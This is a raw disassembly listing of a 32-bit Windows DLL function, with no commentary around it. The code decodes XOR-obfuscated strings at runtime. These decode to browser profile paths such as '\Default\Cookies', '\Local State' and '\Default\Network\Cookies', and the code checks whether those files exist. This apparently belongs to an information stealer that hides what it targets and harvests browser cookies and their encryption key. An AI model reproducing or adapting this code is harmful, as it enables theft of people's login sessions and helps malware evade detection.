xorps xmm0, xmm0
mov byte [ebp - 0xd1], al
mov byte [ebp - 0xca], al
mov al, cl
xor al, 0x55
mov byte [ebp - 0xd8], dh
mov byte [ebp - 0xc9], al
mov al, cl
xor al, 0x73
mov byte [ebp - 0xd5], dl
mov byte [ebp - 0xc8], al
mov al, cl
xor al, 0x20
mov byte [ebp - 0xd0], dh
mov byte [ebp - 0xc5], al
mov al, cl
xor al, 0x44
mov byte [ebp - 0xcd], dl
mov byte [ebp - 0xc4], al
xor edx, edx
mov al, cl
mov byte [ebp - 0xd3], ch
xor al, 0x61
mov byte [ebp - 0xce], ah
xor cl, 0x74
mov byte [ebp - 0xcb], ch
movups xmmword [ebp - 0x100], xmm0
mov byte [ebp - 0xc7], ch
xor esi, esi
movups xmmword [ebp - 0xf0], xmm0
mov byte [ebp - 0xc6], ah
mov byte [ebp - 0xc3], al
mov byte [ebp - 0xc2], cl
mov byte [ebp - 0xc1], al
mov byte [ebp - 0xc0], 0
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0x100], eax
inc edx
cmp edx, 8
jb 0x1000e682
push 0x1c
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0xdc]
push eax
lea ecx, [ebp - 0x114]
call fcn.100046f0
mov dword [ebp - 0xe0], eax
xor edx, edx
mov byte [ebp - 4], 0x10
xor esi, esi
nop word [eax + eax]
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0x100], eax
inc edx
cmp edx, 8
jb 0x1000e6f0
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x10c]
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x10c], esi
mov dword [ebp - 0x108], eax
cmp esi, ecx
ja 0x1000e7dd
push esi
call fcn.101a087d
mov edi, eax
add esp, 4
mov dword [ebp - 0x110], edi
test edi, edi
je 0x1000e7dd
mov ecx, dword [ebp - 0xe0]
add esi, 0xfffffff8
push esi
add ecx, 8
push ecx
push edi
call fcn.10190960
lea eax, [ebp - 0x100]
mov edx, esi
push eax
push 0
mov ecx, edi
call fcn.10004600
mov edx, dword [ebp - 0x110]
add esp, 0x14
test edx, edx
je 0x1000e7dd
movsx eax, byte [ebp - 0x104]
mov ecx, 0x10
movd xmm0, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm1, xmm0, 0
movups xmm0, xmmword [edx]
xorps xmm1, xmm0
movups xmmword [edx], xmm1
nop dword [eax]
lea eax, [edx + ecx]
mov dl, byte [ebp - 0x104]
xor byte [eax], dl
inc ecx
mov edx, dword [ebp - 0x110]
cmp ecx, 0x1c
jb 0x1000e7c0
mov byte [edx + 0x1c], 0
jmp 0x1000e7df
xor edx, edx
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000e7e4
sub ecx, esi
mov eax, bind
mov esi, dword [ebp - 0x18]
sub eax, esi
cmp eax, ecx
jb 0x1000f2ad
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push ecx
cmova eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x58]
push edx
push esi
push eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x11c]
call fcn.100198c0
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x40]
call fcn.10017500
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x1000e860
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000e856
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f2b2
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0xf
jbe 0x1000e898
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000e88e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f2b2
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
cmp ecx, 0xf
jbe 0x1000e8e2
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000e8d8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f2b2
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0xf
jbe 0x1000e926
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000e91c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f2b7
push ecx
push edx
call fcn.1018eb3e
add esp, 8
cmp dword [ebp - 0x30], 0
je 0x1000f183
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
cmova eax, dword [ebp - 0x40]
push eax
call esi
cmp eax, 0xffffffff
je 0x1000f183
shr eax, 4
test al, 1
je 0x1000f183
mov ah, 0x34
mov dword [ebp - 0x104], 0
mov al, ah
mov byte [ebp - 0xf8], ah
xor al, 0x44
mov dword [ebp - 0x100], 0
mov byte [ebp - 0xcf], al
mov dl, ah
mov al, ah
mov dword [ebp - 0xfc], 0
xor al, 0x66
mov dword [ebp - 0x108], 0x101ec224
mov byte [ebp - 0xcd], al
xor dl, 0x65
mov al, ah
mov byte [ebp - 0xce], dl
xor al, 0x61
mov byte [ebp - 0xc2], dl
mov byte [ebp - 0xcc], al
mov cl, ah
mov al, ah
mov byte [ebp - 0xc0], 0
xor al, 0x75
xor cl, 0x5c
mov byte [ebp - 0xcb], al
xorps xmm0, xmm0
mov al, ah
mov byte [ebp - 0xd0], cl
xor al, 0x6c
mov byte [ebp - 0xc8], cl
mov byte [ebp - 0xca], al
xor edx, edx
mov al, ah
xor al, 0x74
mov byte [ebp - 0xc9], al
mov al, ah
xor al, 0x43
mov byte [ebp - 0xc7], al
mov al, ah
xor al, 0x6f
mov byte [ebp - 0xc6], al
mov byte [ebp - 0xc5], al
mov al, ah
xor al, 0x6b
mov byte [ebp - 0xc4], al
mov al, ah
xor al, 0x69
xor ah, 0x73
movups xmmword [ebp - 0xf4], xmm0
mov byte [ebp - 0xc3], al
xor esi, esi
movups xmmword [ebp - 0xe4], xmm0
mov byte [ebp - 0xc1], ah
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0xf4], eax
inc edx
cmp edx, 8
jb 0x1000ea33
push 0x10
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x108]
call fcn.100046f0
mov dword [ebp - 0xd4], eax
xor edx, edx
mov byte [ebp - 4], 0x14
xor esi, esi
nop word [eax + eax]
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0xf4], eax
inc edx
cmp edx, 8
jb 0x1000eaa0
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0x100]
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x100], esi
mov dword [ebp - 0xfc], eax
cmp esi, ecx
ja 0x1000eb6a
push esi
call fcn.101a087d
mov edi, eax
add esp, 4
mov dword [ebp - 0x104], edi
test edi, edi
je 0x1000eb6a
mov ecx, dword [ebp - 0xd4]
add esi, 0xfffffff8
push esi
add ecx, 8
push ecx
push edi
call fcn.10190960
lea eax, [ebp - 0xf4]
mov edx, esi
push eax
push 0
mov ecx, edi
call fcn.10004600
mov edx, dword [ebp - 0x104]
add esp, 0x14
test edx, edx
je 0x1000eb6a
movsx eax, byte [ebp - 0xf8]
movd xmm0, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm1, xmm0, 0
movups xmm0, xmmword [edx]
xorps xmm1, xmm0
movups xmmword [edx], xmm1
mov byte [edx + 0x10], 0
jmp 0x1000eb6c
xor edx, edx
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000eb71
sub ecx, esi
mov eax, bind
mov esi, dword [ebp - 0x30]
sub eax, esi
cmp eax, ecx
jb 0x1000f2bc
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
push ecx
cmova eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x28]
push edx
push esi
push eax
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x11c]
call fcn.100198c0
mov dl, 0xa
mov dword [ebp - 0x100], 0
mov al, dl
mov byte [ebp - 0xf4], dl
xor al, 0x5c
mov dword [ebp - 0xfc], 0
mov byte [ebp - 0xcc], al
mov cl, dl
mov al, dl
mov dword [ebp - 0xf8], 0
xor al, 0x4c
mov dword [ebp - 0x104], 0x101ec534
mov byte [ebp - 0xcb], al
xor cl, 0x61
mov al, dl
mov byte [ebp - 0xc8], cl
xor al, 0x6f
mov byte [ebp - 0xc3], cl
mov byte [ebp - 0xca], al
xorps xmm0, xmm0
mov al, dl
mov byte [ebp - 0xc0], 0
xor al, 0x63
mov byte [ebp - 0xc9], al
mov al, dl
xor al, 0x6c
mov byte [ebp - 0xc7], al
mov al, dl
xor al, 0x20
mov byte [ebp - 0xc6], al
mov al, dl
xor al, 0x53
mov byte [ebp - 0xc5], al
mov al, dl
xor dl, 0x65
xor al, 0x74
mov byte [ebp - 0xc1], dl
xor edx, edx
movups xmmword [ebp - 0xf0], xmm0
mov byte [ebp - 0xc4], al
xor esi, esi
movups xmmword [ebp - 0xe0], xmm0
mov byte [ebp - 0xc2], al
nop dword [eax]
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0xf0], eax
inc edx
cmp edx, 8
jb 0x1000ec70
push 0xc
lea eax, [ebp - 0xf0]
push eax
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x104]
call fcn.100046f0
mov dword [ebp - 0xd0], eax
xor edx, edx
mov byte [ebp - 4], 0x17
xor esi, esi
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0xf0], eax
inc edx
cmp edx, 8
jb 0x1000ecd3
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xfc]
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xfc], esi
mov dword [ebp - 0xf8], eax
cmp esi, ecx
ja 0x1000ed9d
push esi
call fcn.101a087d
mov edi, eax
add esp, 4
mov dword [ebp - 0x100], edi
test edi, edi
je 0x1000ed9d
mov ecx, dword [ebp - 0xd0]
add esi, 0xfffffff8
push esi
add ecx, 8
push ecx
push edi
call fcn.10190960
lea eax, [ebp - 0xf0]
mov edx, esi
push eax
push 0
mov ecx, edi
call fcn.10004600
mov edx, dword [ebp - 0x100]
add esp, 0x14
test edx, edx
je 0x1000ed9d
xor ecx, ecx
nop dword [eax + eax]
lea eax, [edx + ecx]
mov dl, byte [ebp - 0xf4]
xor byte [eax], dl
inc ecx
mov edx, dword [ebp - 0x100]
cmp ecx, 0xc
jb 0x1000ed80
mov byte [edx + 0xc], 0
jmp 0x1000ed9f
xor edx, edx
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000eda4
sub ecx, esi
mov eax, bind
mov esi, dword [ebp - 0x30]
sub eax, esi
cmp eax, ecx
jb 0x1000f2c1
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
push ecx
cmova eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x58]
push edx
push esi
push eax
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x11c]
call fcn.100198c0
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 0xf
cmova eax, dword [ebp - 0x28]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
cmp eax, 0xffffffff
jne 0x1000f100
mov dh, 0xa1
mov dword [ebp - 0x10c], 0
mov al, dh
mov byte [ebp - 0x100], dh
xor al, 0x44
mov dword [ebp - 0x108], 0
mov byte [ebp - 0xd7], al
mov cl, dh
mov al, dh
mov dword [ebp - 0x104], 0
xor al, 0x66
mov dword [ebp - 0x110], 0x101f3f38
mov byte [ebp - 0xd5], al
xor cl, 0x74
mov al, dh
mov byte [ebp - 0xd1], cl
xor al, 0x61
mov byte [ebp - 0xcd], cl
mov byte [ebp - 0xd4], al
mov dl, dh
mov al, dh
mov byte [ebp - 0xc0], 0
xor al, 0x75
xor dl, 0x6f
mov byte [ebp - 0xd3], al
mov ah, dh
mov al, dh
mov byte [ebp - 0xcb], dl
xor al, 0x6c
mov byte [ebp - 0xc6], dl
mov byte [ebp - 0xd2], al
mov ch, dh
mov al, dh
mov byte [ebp - 0xc5], dl
xor al, 0x4e
mov cl, dh
mov byte [ebp - 0xcf], al
xor ah, 0x5c
mov al, dh
mov byte [ebp - 0xd8], ah
xor al, 0x77
mov byte [ebp - 0xd0], ah
mov byte [ebp - 0xcc], al
xor ch, 0x65
mov al, dh
mov byte [ebp - 0xd6], ch
xor al, 0x72
mov byte [ebp - 0xce], ch
mov byte [ebp - 0xca], al
xor cl, 0x6b
mov al, dh
mov byte [ebp - 0xc9], cl
xor al, 0x43
mov byte [ebp - 0xc8], ah
mov byte [ebp - 0xc7], al
xorps xmm0, xmm0
mov al, dh
mov byte [ebp - 0xc4], cl
xor dh, 0x73
mov byte [ebp - 0xc2], ch
xor al, 0x69
mov byte [ebp - 0xc1], dh
xor edx, edx
mov byte [ebp - 0xc3], al
movups xmmword [ebp - 0xfc], xmm0
xor esi, esi
movups xmmword [ebp - 0xec], xmm0
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0xfc], eax
inc edx
cmp edx, 8
jb 0x1000ef20
push 0x18
lea eax, [ebp - 0xfc]
push eax
lea eax, [ebp - 0xd8]
push eax
lea ecx, [ebp - 0x110]
call fcn.100046f0
mov dword [ebp - 0xdc], eax
xor edx, edx
mov byte [ebp - 4], 0x1a
xor esi, esi
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0xfc], eax
inc edx
cmp edx, 8
jb 0x1000ef83
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x108]
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x108], esi
mov dword [ebp - 0x104], eax
cmp esi, ecx
ja 0x1000f06d
push esi
call fcn.101a087d
mov edi, eax
add esp, 4
mov dword [ebp - 0x10c], edi
test edi, edi
je 0x1000f06d
mov ecx, dword [ebp - 0xdc]
add esi, 0xfffffff8
push esi
add ecx, 8
push ecx
push edi
call fcn.10190960
lea eax, [ebp - 0xfc]
mov edx, esi
push eax
push 0
mov ecx, edi
call fcn.10004600
mov edx, dword [ebp - 0x10c]
add esp, 0x14
test edx, edx
je 0x1000f06d
movsx eax, byte [ebp - 0x100]
mov ecx, 0x10
movd xmm0, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm1, xmm0, 0
movups xmm0, xmmword [edx]
xorps xmm1, xmm0
movups xmmword [edx], xmm1
lea eax, [edx + ecx]
mov dl, byte [ebp - 0x100]
xor byte [eax], dl
inc ecx
mov edx, dword [ebp - 0x10c]
cmp ecx, 0x18
jb 0x1000f050
mov byte [edx + 0x18], 0
jmp 0x1000f06f
xor edx, edx
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000f074
sub ecx, esi
mov eax, bind
mov esi, dword [ebp - 0x30]
sub eax, esi
cmp eax, ecx
jb 0x1000f2c6
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
push ecx
cmova eax, dword [ebp - 0x40]
lea ecx, [ebp - 0xa0]
push edx
push esi
push eax
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x11c]
call fcn.100198c0
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x28]
call fcn.10017500
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0xf
jbe 0x1000f0fc
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000f0f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f2d0
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov byte [ebp - 4], 0x19
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1000f1ba
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x1000f14f
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000f145
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f2d0
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x1000f183
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000f179
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f2d0
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x1000f26f
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000f265
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f2cb
jmp 0x1000f265
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0xb8]
call fcn.100175c0
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 0x1b
push eax
lea ecx, [ebp - 0xa0]
call fcn.100175c0
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 0x1c
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.10018e90
lea ecx, [ebp - 0xb8]
call fcn.100079b0
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x1000f232
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000f228
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f2d0
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x1000f183
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000f179
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f2d0
jmp 0x1000f179
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1018e7c9
mov esp, ebp
pop ebp
ret
call fcn.1019b181
call fcn.1019b181
call fcn.1019b181
call fcn.10001750
call fcn.1019b181
call fcn.10001750
call fcn.1019b181
call fcn.10001750
call fcn.1019b181
call fcn.1019b181
call fcn.10001750
call fcn.10001750
call fcn.10001750
call fcn.1019b181
call fcn.1019b181
int3